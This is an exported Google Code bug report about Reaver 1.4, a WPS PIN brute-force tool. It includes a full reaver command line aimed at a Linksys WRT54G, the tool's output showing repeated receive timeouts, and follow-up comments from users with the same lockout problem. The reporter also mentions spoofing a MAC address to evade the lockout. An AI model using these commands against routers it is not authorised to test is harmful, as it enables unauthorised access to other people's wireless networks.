1 second per key suddenly timeouts

[GoogleCodeExporter]

0. What version of Reaver are you using?  

version 1.4

1. What operating system are you using (Linux is the only supported OS)?

Backtrack 5 R2, but I did an apt-get update, apt-get upgrade, and apt-get 
dist-upgrade.

2. Is your wireless card in monitor mode (yes/no)?

yes

3. What is the signal strength of the Access Point you are trying to crack?

-53

4. What is the manufacturer and model # of the device you are trying to
crack?

Linksys WRT54G

5. What is the entire command line string you are supplying to reaver?

This is what I used to provide the output below
reaver -i mon0 -f -c 1 -b 00:1A:EF:10:B9:DA -d 2 -N -x 60 -vv

This was the one I was using, so it's only showing the keys that reaver has 
tried.
reaver -i mon0 -f -c 1 -b 00:1A:EF:10:B9:DA -d 2 -N -x 60 -v

6. Please describe what you think the issue is.

Router lockup. It started with 1 second per key, I though it was doing fine, it 
was able to reach 00635677 from start, then it just stopped and had timeouts.

7. Paste the output from Reaver below.

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 
<cheffner@tacnetsol.com>

[+] Switching mon0 to channel 1
[?] Restore previous session for 00:1A:EF:10:B9:DA? [n/Y] Y
[+] Restored previous session
[+] Waiting for beacon from 00:1A:EF:10:B9:DA
[+] Associated with 00:1A:EF:10:B9:DA (ESSID: DSL)
[+] Trying pin 00635677
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request

I think that my router is locking me out from trying anymore keys, but I tried 
spoofing the mac address to a different on, it still refuses to start. I 
thought I'll be able to crack this is 3 hours or less with the 1 second per 
key. Can anyone help?

Original issue reported on code.google.com by x.tactic...@gmail.com on 22 Aug 2012 at 10:24

[GoogleCodeExporter]

I'm having the same issue with the same router.

Original comment by woj...@gmail.com on 17 Feb 2013 at 3:13

[GoogleCodeExporter]

Any news on this one? having this problem right now..

Original comment by maxvanwe...@gmail.com on 9 Jan 2014 at 3:03

[GoogleCodeExporter]

I'm really unsure of what's causing this. Ever since that error I have been 
having the same problems with routers as well, so it may be the WiFi adapter 
that's at fault here. No reply from the developers as well since I sent this 
report.

Original comment by x.tactic...@gmail.com on 14 Jan 2014 at 4:48